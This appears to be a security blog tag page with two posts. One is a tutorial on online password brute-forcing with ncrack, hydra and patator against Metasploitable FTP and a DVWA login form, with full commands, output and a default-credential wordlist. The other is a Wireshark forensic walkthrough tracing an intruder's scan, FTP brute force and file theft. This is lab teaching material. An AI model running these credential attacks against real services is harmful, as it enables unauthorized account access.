Tag Archives: brute force

Online brute force attacks

Online password attacks involve attacking services such as FTP, TELNET, SSH, or HTTP to try and guess a password. This type of attack differs from an offline attack in that in offline attacks, you have a hash and are only limited by the speed of your cracking machine, without communicating with the target. Online attacks are in constant communication with the target.

Because of this, online password attacks are extremely situational, and are very limited. The speed of the guesses can be affected by several your bandwidth, the target’s bandwidth, throttling the amount of guesses (tar pitting), account lockouts, and changing passwords. It’s also very loud and will surely be detected by an IDS.

Online brute force attacks that iterate over millions of passwords and usernames such as the rockyou.txt dictionary are impractical. Online attacks are much more effective with a smaller list containing the default/weak credentials.

In this post, I’ll use some popular tools used for cracking passwords over the wire.

To make things easier, I’ll use a small subset of the rockyou.txt wordlist, and make sure to insert the correct password in the list.


Ncrack is a very fast network authentication cracking tool, which is helpful for testing a large number of hosts for weak passwords.

In this case, I’ll audit our Metasploitable box for default easily cracked FTP credentials.

# ncrack -p 21 -user postgres -P shortlist.txt
Starting Ncrack 0.4ALPHA ( http://ncrack.org ) at 2015-11-08 23:15 EST
Discovered credentials for ftp on 21/tcp: 21/tcp ftp: 'postgres' 'postgres'
Ncrack done: 1 service scanned in 30.01 seconds.
Ncrack finished.


Hydra is another tool that can crack passwords over the network using a list of usernames and passwords.

# hydra -l postgres -P shortlist.txt ftp
Hydra (http://www.thc.org/thc-hydra) starting at 2015-12-12 22:45:10
[DATA] max 16 tasks per 1 server, overall 64 tasks, 102 login tries (l:1/p:102), ~0 tries per task
[DATA] attacking service ftp on port 21
[21][ftp] host:   login: postgres   password: postgres
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-12-12 22:45:13

Hydra can also be used as an online password cracker.

I will need some information about the web form before I can unleash Hydra on it, specifically:

  • IP address/hostname
  • HTTP request method (i.e. GET or POST)
  • HTTP request parameters
  • Success/failure responses
  • Session cookies
  • Presence of lockout features that may slow down our cracking attempt
  • And, of course, a list of usernames and passwords.

For a username and password list, I rattled off the most popular usernames and passwords that came to mind.

  • admin
  • administrator
  • sysadmin
  • root
  • pass
  • password
  • admin
  • administrator
  • sysadmin
  • 1234
  • 12345
  • 123456
  • 1234567
  • 12345678
  • pass1234
  • password1234
  • password12345
  • default
  • root
  • toor

For the host, I decided to crack the login form for the Damn Vulnerable Web App https://github.com/RandomStorm/DVWA

We can capture information about the HTTP requests and responses using OWASP, but I decided to use a Firefox browser addon called Tamper Data.

Navigating to, and with Tamper Data running, I enter some data into the username and password fields.

# hydra -L usernames.txt -P shorterlist.txt http-form-get "/vulnerabilities/brute/:username=^USER^&password=^PASS^&Login=Login:F=password incorrect:H=Cookie: security;high;PHPSESSID=4npusjem9f38v9ao60qq48idm7"

-L and -P will iterate through a file, while -l and -p should be used if a single username/password is supplied

I can tell it’s an HTTP GET method one of two ways: Viewing the source of the page will the form action is a GET. I can also see the GET request inside of Tamper Data.

The next string includes some arguments Hydra needs. The arguments are separated by a colon.

The first argument tells Hydra where the address of the login form

The second argument tells Hydra where the username, password, and any other parameters passed to the server

The third argument contains a string that we know will appear upon either a successful or a failed login. If Hydra sees this string in an HTTP response, it will assume the login information was correct.

I also needed the presence of a fourth optional argument. Inside of DWVA is the web form vulnerable to brute force. We are required to log in to DWVA to access this.

This is done with cookies. We can see these inside of Tamper Data. We are looking for the PHPSESSID cookie (See https://security.stackexchange.com/questions/37020/why-does-hydra-return-16-valid-passwords-when-none-are-valid )

Hydra (http://www.thc.org/thc-hydra) starting at 2015-12-12 22:26:43
[DATA] max 16 tasks per 1 server, overall 64 tasks, 64 login tries (l:4/p:16), ~0 tries per task
[DATA] attacking service http-get-form on port 80
[80][http-get-form] host: login: admin password: password
[STATUS] 41.00 tries/min, 41 tries in 00:01h, 23 todo in 00:01h, 16 active
[STATUS] 31.00 tries/min, 62 tries in 00:02h, 2 todo in 00:01h, 16 active
1 of 1 target successfully completed, 1 valid password found
Hydra (http://www.thc.org/thc-hydra) finished at 2015-12-12 22:29:37


Medusa and Hydra do the same thing. Some people prefer Medusa, others Hydra. According to the author of Medusa, Medusa crashes less, more modular, and faster due to multithreading.

I think which tool you choose is completely your preference; but I prefer Hydra solely because that is what I learned how to use first.


Patator is a fast, multithreaded Python application supporting a lot of modules for different services.

$ ./patator.py ftp_login host= user=postgres password=FILE0 0=/usr/share/wordlists/shortlist.txt
15:29:01 patator    INFO - Starting Patator v0.7-beta (https://github.com/lanjelot/patator) at 2015-12-13 15:29 EST
15:29:01 patator    INFO -                                                                              
15:29:01 patator    INFO - code  size    time | candidate                          |   num | mesg
15:29:01 patator    INFO - -----------------------------------------------------------------------------
15:29:01 patator    INFO - 230   17     0.014 | postgres                           |     8 | Login successful.
15:29:04 patator    INFO - 530   16     2.879 | 123456                             |     1 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.869 | 12345                              |     2 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.861 | 123456789                          |     3 | Login incorrect.
15:29:04 patator    INFO - 530   16     2.872 | password                           |     4 | Login incorrect.
15:29:37 patator    INFO - Hits/Done/Skip/Fail/Size: 102/102/0/0/102, Avg: 2 r/s, Time: 0h 0m 35s

Vulnerability analysis part 4: Analyzing packets with Wireshark

Here is the given scenario: I’m a consultant for the security firm AllSafe. Our biggest client, E-Corp, suspects that an AllSafe employee did something to their network, and they need proof. All I have to work with is the packet capture file from our IDS.

A quick note about running Wireshark: To capture packets, Wireshark must be started as root. A quick search of the exploit database shows how many exploits there are for Wireshark. Obviously, I don’t want to be running Wireshark as root.

To capture packets, it’s safest use Wireshark’s CLI version, tshark.

# sudo tshark -i eth0 -w /tmp/packet_capture1.pcap

This allows me to promiscuously capture packets on the eth0 interface.

Now if I want to examine the capture (or any other .pcap file I download from the internet) from Kali, I need to modify permissions and view the file as a non-root user.

# chmod ugo+rx /tmp/packet_capture1.pcap

(ugo means users, groups, others, +rx means read and execute privileges). I’ll create a non-root user:

# adduser user1

After logging into our standard account with the supplied password, I’ll get to work.

$ wireshark /tmp/packet_capture1.pcap

I look for any host discovery scans. Nmap will do these scans differently depending on two things:

1) Is the user root?
2) Is it a local address (i.e. on the same subnet)

Nmap performs the following requests when scanning for hosts on a different network:

1) ICMP echo request
2) TCP SYN to port 443
3) TCP ACK to port 80
4) ICMP timestamp request

Filtering ICMP traffic reveals nothing.

Nmap performs ARP requests when scanning for hosts on the same subnet. I’ll look for ARP requests:

Bingo, I found host looking for hosts on our subnet. I’ll see if he was doing any port scans. I’m looking for TCP packets, specifically handshakes. I don’t know what kind of scan was performed, or which ports he scanned.

I’ll start by looking for traffic involving the suspicious machine to common ports. I expect the scan to be done first, so if I start seeing a lot of traffic on the port, I’ll just assume that he didn’t scan that port.

I look at ports for FTP, SSH, Telnet, and SMTP. They all start with:

This indicates that the suspicious host did an nmap stealth scan of the machine. I look at a few more ports, and it appears that he scanned ports 1-30. I didn’t see any of the SYN, SYN ACK, or RST packets for any ports above 30.

I want to see what websites he visited. I can do this by adding a filter on DNS traffic involving our suspicious machine.

It looks like he visited the website “toplessrobot.com”. This page has a lot of images and scripts which I can see if I take a closer look at his web traffic by adding a filter to see HTTP traffic.

Scrolling through the various loading of various widgets, images, and ads, I see a few interesting packets.

It looks like the suspicious .129 address tried visiting ~/bjones. I can follow the TCP stream of the subsequent HTTP GET packets and see what it contains.

Bob Jones must have had an Apache web server running. If I look a little after this, I see something else interesting:

The suspect downloaded a .rar password list. I wonder what he’ll use password list for…

Looking for any FTP traffic.

Here I see the password list being used to try to brute force the password for bjones. To find out if he was successful, let’s find out what response the server gives if the login is successful. According to https://en.wikipedia.org/wiki/List_of_FTP_server_return_codes, a server response of 230 indicates the user has successfully logged in.

If I go to where these packets occurred, I can see the correct FTP password being accepted by .131

User bjones had a password of password1234. Following the TCP stream can show us what mischief he was up to.

It looks like after navigating to the folder called Documents, the suspect downloaded the files andrea-nude.jpg, password-email.txt, password-email.txt, passwords.ods, and proposed-email.txt.

Using a little magic, I can rebuild these files and see what they contained.

Changing the filter to include packets with the FTP-DATA protocol. Now find the FTP-DATA packet after the response for the request for the .jpg. Save the raw dump to a location (I saved my in /tmp/rawdumps).

This data is meaningless in it’s current form. But using the Linux tools file and foremost, I can determine the type of file and then reconstruct the file by looking at headers, footers, and data.

$ file andrea-nude 
andrea-nude: JPEG image data, JFIF standard 1.01, resolution (DPI), density 300x300, segment length 16, baseline, precision 8, 332x332, frames 3
$ foremost andrea-nude 
Processing: andrea-nude
$ cd output/
$ ls
audit.txt jpg
$ eog jpg

I’ll do the same on the other files. Not all streams require us to decode them with file and foremost.

The email:

The OpenOffice spreadsheet:

Another email:

I also see the user SSHd to the victim machine. Obviously I won’t be able to see details of encrypted traffic.

This is all I was able to find from this file.